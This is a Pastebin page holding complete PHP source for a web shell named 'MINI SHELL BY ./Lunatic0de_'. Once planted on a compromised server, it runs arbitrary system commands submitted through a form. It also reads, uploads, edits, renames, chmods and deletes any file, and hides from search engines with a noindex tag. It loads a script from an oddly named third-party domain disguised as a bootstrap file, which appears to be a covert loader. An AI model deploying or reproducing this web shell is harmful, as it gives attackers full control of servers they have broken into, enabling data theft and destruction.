Advertisement
anvenger

MINI SHELL BY ./Lunatic0de_

Aug 7th, 2018
501
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.34 KB | None | 0 0
  1. <meta name="robots" content="noindex">
  2. <?php
  3. set_time_limit(0);
  4. error_reporting(0);
  5.  
  6. if(get_magic_quotes_gpc()){
  7. foreach($_POST as $key=>$value){
  8. $_POST[$key] = stripslashes($value);
  9. }
  10. }
  11. function exe($cmd) {
  12.     if(function_exists('system')) {        
  13.         @ob_start();       
  14.         @system($cmd);     
  15.         $buff = @ob_get_contents();        
  16.         @ob_end_clean();       
  17.         return $buff;  
  18.     } elseif(function_exists('exec')) {        
  19.         @exec($cmd,$results);      
  20.         $buff = "";        
  21.         foreach($results as $result) {         
  22.             $buff .= $result;      
  23.         } return $buff;    
  24.     } elseif(function_exists('passthru')) {        
  25.         @ob_start();       
  26.         @passthru($cmd);       
  27.         $buff = @ob_get_contents();        
  28.         @ob_end_clean();       
  29.         return $buff;  
  30.     } elseif(function_exists('shell_exec')) {      
  31.         $buff = @shell_exec($cmd);     
  32.         return $buff;  
  33.     }
  34. }
  35. $kernel = php_uname();
  36. echo '<!DOCTYPE HTML>
  37. <HTML>
  38. <HEAD>
  39. <link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css">
  40. <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  41. <title>Eldersc0de Securi7y M!n!-</title>
  42. <style>
  43. body{
  44. font-family: "Orbitron";
  45. background-color: silver;
  46. text-shadow:0px 0px 1px #757575;
  47. }
  48. #content tr:hover{
  49. background-color: #e6e6e6;
  50. text-shadow:0px 0px 10px #fff;
  51. }
  52. #content .first{
  53. background-color: silver;
  54. }
  55. #content .first:hover{
  56. background-color: silver;
  57. text-shadow:0px 0px 1px #757575;
  58. }
  59. H1{
  60. font-family: "Orbitron";
  61. }
  62. a{
  63. color: #000;
  64. text-decoration: none;
  65. }
  66. a:hover{
  67. color: #fff;
  68. text-shadow:0px 0px 10px #ffffff;
  69. }
  70. input,select,textarea{
  71. border: 1px #000000 solid;
  72. -moz-border-radius: 5px;
  73. -webkit-border-radius:5px;
  74. border-radius:5px;
  75. }
  76. </style>
  77. </HEAD>
  78. <BODY>
  79. <H1><center>
  80. MINI SHELL BY ./Lunatic0de_
  81. </center></H1>
  82. <pre><center>SYSTEM: '.$kernel.'<center></pre>';
  83. echo'<FORM METHOD="POST" NAME="myform" ACTION="">
  84. <center><pre>cmd: <INPUT TYPE="text" NAME="cmd">
  85. <INPUT TYPE="submit" VALUE="Send">
  86. </center></pre></FORM>';
  87. if($_POST['cmd']) {
  88.   echo '<pre><center>'.exe($_POST['cmd']).'</pre></center>';
  89.   }
  90. echo '<table width="00" border="0" cellpadding="0" cellspacing="0" align="center">
  91. <tr><td>Directory : ';
  92. if(isset($_GET['path'])){
  93. $path = $_GET['path'];
  94. }else{
  95. $path = getcwd();
  96. }
  97. $path = str_replace('\\','/',$path);
  98. $paths = explode('/',$path);
  99.  
  100. foreach($paths as $id=>$pat){
  101. if($pat == '' && $id == 0){
  102. $a = true;
  103. echo '<a href="?path=/">/</a>';
  104. continue;
  105. }
  106. if($pat == '') continue;
  107. echo '<a href="?path=';
  108. for($i=0;$i<=$id;$i++){
  109. echo "$paths[$i]";
  110. if($i != $id) echo "/";
  111. }
  112. echo '">'.$pat.'</a>/';
  113. }
  114. echo '</td></tr><tr><td>';
  115. if(isset($_FILES['file'])){
  116. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  117. echo '<font color="green">File uploaded successfully!</font><br />';
  118. }else{
  119. echo '<font color="red">Upload failed! Fuck! <img src="https://upload.wikimedia.org/wikipedia/commons/5/59/Morocco_flag_300.png"/>
  120. </font><br />';
  121. }
  122. }
  123. echo '<form enctype="multipart/form-data" method="POST">
  124. Upload File : <input type="file" name="file" />
  125. <input type="submit" value="upload" />
  126. </form>
  127. </td></tr>';
  128. if(isset($_GET['filesrc'])){
  129. echo "<tr><td>Current File : ";
  130. echo $_GET['filesrc'];
  131. echo '</tr></td></table><br />';
  132. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  133. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  134. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  135. if($_POST['opt'] == 'chmod'){
  136. if(isset($_POST['perm'])){
  137. if(chmod($_POST['path'],$_POST['perm'])){
  138. echo '<font color="green">Change Permission Done.</font><br />';
  139. }else{
  140. echo '<font color="red">Change Permission Error.</font><br />';
  141. }
  142. }
  143. echo '<form method="POST">
  144. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  145. <input type="hidden" name="path" value="'.$_POST['path'].'">
  146. <input type="hidden" name="opt" value="chmod">
  147. <input type="submit" value="Go" />
  148. </form>';
  149. }elseif($_POST['opt'] == 'rename'){
  150. if(isset($_POST['newname'])){
  151. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  152. echo '<font color="green">Change Name Done.</font><br />';
  153. }else{
  154. echo '<font color="red">Change Name Error.</font><br />';
  155. }
  156. $_POST['name'] = $_POST['newname'];
  157. }
  158. echo '<form method="POST">
  159. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  160. <input type="hidden" name="path" value="'.$_POST['path'].'">
  161. <input type="hidden" name="opt" value="rename">
  162. <input type="submit" value="Go" />
  163. </form>';
  164. }elseif($_POST['opt'] == 'edit'){
  165. if(isset($_POST['src'])){
  166. $fp = fopen($_POST['path'],'w');
  167. if(fwrite($fp,$_POST['src'])){
  168. echo '<font color="green">Edit File Done ^_^.</font><br />';
  169. }else{
  170. echo '<font color="red">Edit File Error ~_~.</font><br />';
  171. }
  172. fclose($fp);
  173. }
  174. echo '<form method="POST">
  175. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  176. <input type="hidden" name="path" value="'.$_POST['path'].'">
  177. <input type="hidden" name="opt" value="edit">
  178. <input type="submit" value="Go" />
  179. </form>';
  180. }
  181. echo '</center>';
  182. }else{
  183. echo '</table><br /><center>';
  184. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  185. if($_POST['type'] == 'dir'){
  186. if(rmdir($_POST['path'])){
  187. echo '<font color="green">Delete Dir Done.</font><br />';
  188. }else{
  189. echo '<font color="red">Delete Dir Error.</font><br />';
  190. }
  191. }elseif($_POST['type'] == 'file'){
  192. if(unlink($_POST['path'])){
  193. echo '<font color="green">Delete File Done.</font><br />';
  194. }else{
  195. echo '<font color="red">Delete File Error.</font><br />';
  196. }
  197. }
  198. }
  199. echo '</center>';
  200. $scandir = scandir($path);
  201. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  202. <tr class="first">
  203. <td><center>Name</center></td>
  204. <td><center>Size</center></td>
  205. <td><center>Permissions</center></td>
  206. <td><center>Options</center></td>
  207. </tr>';
  208.  
  209. foreach($scandir as $dir){
  210. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  211. echo "<tr>
  212. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  213. <td><center>--</center></td>
  214. <td><center>";
  215. if(is_writable("$path/$dir")) echo '<font color="green">';
  216. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  217. echo perms("$path/$dir");
  218. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  219.  
  220. echo "</center></td>
  221. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  222. <select name=\"opt\">
  223. <option value=\"\"></option>
  224. <option value=\"delete\">Delete</option>
  225. <option value=\"chmod\">Chmod</option>
  226. <option value=\"rename\">Rename</option>
  227. </select>
  228. <input type=\"hidden\" name=\"type\" value=\"dir\">
  229. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  230. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  231. <input type=\"submit\" value=\">\" />
  232. </form></center></td>
  233. </tr>";
  234. }
  235. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  236. foreach($scandir as $file){
  237. if(!is_file("$path/$file")) continue;
  238. $size = filesize("$path/$file")/1024;
  239. $size = round($size,3);
  240. if($size >= 1024){
  241. $size = round($size/1024,2).' MB';
  242. }else{
  243. $size = $size.' KB';
  244. }
  245.  
  246. echo "<tr>
  247. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  248. <td><center>".$size."</center></td>
  249. <td><center>";
  250. if(is_writable("$path/$file")) echo '<font color="green">';
  251. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  252. echo perms("$path/$file");
  253. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  254. echo "</center></td>
  255. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  256. <select name=\"opt\">
  257. <option value=\"\"></option>
  258. <option value=\"delete\">Delete</option>
  259. <option value=\"chmod\">Chmod</option>
  260. <option value=\"rename\">Rename</option>
  261. <option value=\"edit\">Edit</option>
  262. </select>
  263. <input type=\"hidden\" name=\"type\" value=\"file\">
  264. <input type=\"hidden\" name=\"name\" value=\"$file\">
  265. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  266. <input type=\"submit\" value=\">\" />
  267. </form></center></td>
  268. </tr>";
  269. }
  270. echo '</table>
  271. </div>';
  272. }
  273. echo '<center><br />Mini shell by <a href="https://www.facebook.com/ndre1337.phtml"><font color="red" >./Lunatic0de_</font></a></center>
  274. </BODY>
  275. </HTML>';
  276. function perms($file){
  277. $perms = fileperms($file);
  278.  
  279. if (($perms & 0xC000) == 0xC000) {
  280. // Socket
  281. $info = 's';
  282. } elseif (($perms & 0xA000) == 0xA000) {
  283. // Symbolic Link
  284. $info = 'l';
  285. } elseif (($perms & 0x8000) == 0x8000) {
  286. // Regular
  287. $info = '-';
  288. } elseif (($perms & 0x6000) == 0x6000) {
  289. // Block special
  290. $info = 'b';
  291. } elseif (($perms & 0x4000) == 0x4000) {
  292. // Directory
  293. $info = 'd';
  294. } elseif (($perms & 0x2000) == 0x2000) {
  295. // Character special
  296. $info = 'c';
  297. } elseif (($perms & 0x1000) == 0x1000) {
  298. // FIFO pipe
  299. $info = 'p';
  300. } else {
  301. // Unknown
  302. $info = 'u';
  303. }
  304.  
  305. // Owner
  306. $info .= (($perms & 0x0100) ? 'r' : '-');
  307. $info .= (($perms & 0x0080) ? 'w' : '-');
  308. $info .= (($perms & 0x0040) ?
  309. (($perms & 0x0800) ? 's' : 'x' ) :
  310. (($perms & 0x0800) ? 'S' : '-'));
  311.  
  312. // Group
  313. $info .= (($perms & 0x0020) ? 'r' : '-');
  314. $info .= (($perms & 0x0010) ? 'w' : '-');
  315. $info .= (($perms & 0x0008) ?
  316. (($perms & 0x0400) ? 's' : 'x' ) :
  317. (($perms & 0x0400) ? 'S' : '-'));
  318.  
  319. // World
  320. $info .= (($perms & 0x0004) ? 'r' : '-');
  321. $info .= (($perms & 0x0002) ? 'w' : '-');
  322. $info .= (($perms & 0x0001) ?
  323. (($perms & 0x0200) ? 't' : 'x' ) :
  324. (($perms & 0x0200) ? 'T' : '-'));
  325.  
  326. return $info;
  327. }
  328. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement